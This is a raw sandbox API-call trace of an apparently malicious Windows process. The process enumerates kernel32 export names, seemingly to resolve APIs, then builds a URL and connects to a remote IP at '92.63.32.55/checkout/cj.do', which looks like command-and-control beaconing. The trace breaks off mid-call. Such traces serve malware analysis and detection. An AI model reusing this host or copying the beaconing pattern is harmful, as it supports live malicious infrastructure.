[0101.786] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0101.786] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0101.786] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0101.786] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0101.786] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0101.786] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0101.786] lstrlenA (lpString="CREATEFILEW") returned 11 [0101.786] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0101.786] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0101.786] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0101.786] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0101.786] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0101.786] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0101.786] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0101.786] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0101.786] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0101.786] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0101.786] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0101.786] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0101.786] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0101.786] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0101.787] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0101.787] lstrlenA (lpString="CREATEJOBSET") returned 12 [0101.787] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0101.787] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0101.790] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0101.791] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0101.791] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0101.791] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0101.791] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0101.791] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0101.791] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0101.791] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0101.791] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0101.791] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0101.791] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0101.791] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0101.791] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0101.791] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0101.791] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0101.791] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0101.791] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0101.791] lstrlenA (lpString="CREATEPIPE") returned 10 [0101.791] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0101.791] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0101.791] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0101.791] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0101.791] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0101.791] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0101.791] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0101.791] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0101.791] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0101.791] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0101.792] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0101.792] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0101.792] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0101.792] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0101.792] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0101.792] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0101.792] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0101.792] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0101.792] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0101.792] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0101.792] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0101.792] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0101.792] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0101.792] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0101.792] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0101.792] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0101.792] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0101.792] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0101.792] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0101.792] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0101.792] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0101.792] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0101.792] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0101.792] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0101.792] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0101.792] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0101.792] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0101.792] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0101.792] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0101.792] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0101.792] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0101.792] lstrlenA (lpString="CREATETHREAD") returned 12 [0101.792] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0101.792] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0101.792] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0101.792] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0101.792] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0101.793] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0101.793] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0101.793] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0101.793] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0101.793] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0101.793] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0101.793] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0101.793] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0101.793] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0101.793] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0101.793] GetTickCount () returned 0x2efc5 [0101.793] GetTickCount () returned 0x2efc5 [0101.793] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x3030000 [0101.794] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0101.794] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0101.794] wsprintfA (in: param_1=0x3010000, param_2="http://%s%s" | out: param_1="http://92.63.32.55/checkout/cj.do?vpey=fq1f12qc4") returned 48 [0101.794] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3040000 [0101.795] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x30b0000 [0101.795] VirtualAlloc (lpAddress=0x0, dwSize=0x1f, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0101.795] VirtualAlloc (lpAddress=0x0, dwSize=0x2a, flAllocationType=0x3000, flProtect=0x4) returned 0x3b70000 [0101.795] lstrlenA (lpString="kernel32.dll") returned 12 [0101.796] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0101.796] inet_pton (in: Family=2, pszAddrString="92.63.32.55", pAddrBuf=0x2e7f828 | out: pAddrBuf=0x2e7f828) returned 1 [0101.796] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2e7fc74 | out: lpWSAData=0x2e7fc74) returned 0 [0101.796] socket (af=2, type=1, protocol=6) returned 0x544 [0101.799] inet_addr (cp="92.63.32.55") returned 0x37203f5c [0101.800] htons (hostshort=0x50) returned 0x5000 [0101.800] connect (s=0x544, name=0x2e7f804*(sa_family=2, sin_port=0x50, sin_addr="92.63.32.55"), namelen=16) returned 0 [0102.735] lstrlenA (lpString="kernel32.dll") returned 12 [0102.735] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0102.735] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0102.735] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0102.735] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0102.735] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0102.735] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0102.735] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0102.735] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0102.735] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0102.735] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0102.735] lstrlenA (lpString="ADDATOMA") returned 8 [0102.735] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0102.735] lstrlenA (lpString="ADDATOMW") returned 8 [0102.735] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0102.735] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0102.735] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0102.735] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0102.735] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0102.735] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0102.735] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0102.736] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0102.736] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0102.736] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0102.736] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0102.736] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0102.736] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0102.736] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0102.736] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0102.736] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0102.736] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0102.736] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0102.736] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0102.736] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0102.736] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0102.736] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0102.736] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0102.736] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0102.736] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0102.736] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0102.736] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0102.736] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0102.736] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0102.736] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0102.736] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0102.736] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0102.736] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0102.736] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0102.736] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0102.736] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0102.736] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0102.736] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0102.736] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0102.736] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0102.736] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0102.736] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0102.736] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0102.737] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0102.737] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0102.737] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0102.737] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0102.737] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0102.737] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0102.737] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0102.737] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0102.737] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0102.737] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0102.737] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0102.737] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0102.737] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0102.737] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0102.737] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0102.737] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0102.737] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0102.737] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0102.737] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0102.737] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0102.737] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0102.737] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0102.737] lstrlenA (lpString="BACKUPREAD") returned 10 [0102.737] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0102.737] lstrlenA (lpString="BACKUPSEEK") returned 10 [0102.737] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0102.737] lstrlenA (lpString="BACKUPWRITE") returned 11 [0102.737] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0102.737] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0102.737] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0102.737] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0102.737] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0102.737] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0102.737] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0102.737] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0102.737] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0102.737] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0102.737] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0102.737] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0102.737] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0102.737] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0102.738] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0102.738] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0102.738] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0102.738] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0102.738] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0102.738] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0102.738] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0102.738] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0102.738] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0102.738] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0102.738] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0102.738] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0102.738] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0102.738] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0102.738] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0102.738] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0102.738] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0102.738] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0102.738] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0102.738] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0102.738] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0102.738] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0102.738] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0102.738] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0102.738] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0102.738] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0102.738] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0102.738] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0102.738] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0102.738] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0102.738] lstrcpyA (in: 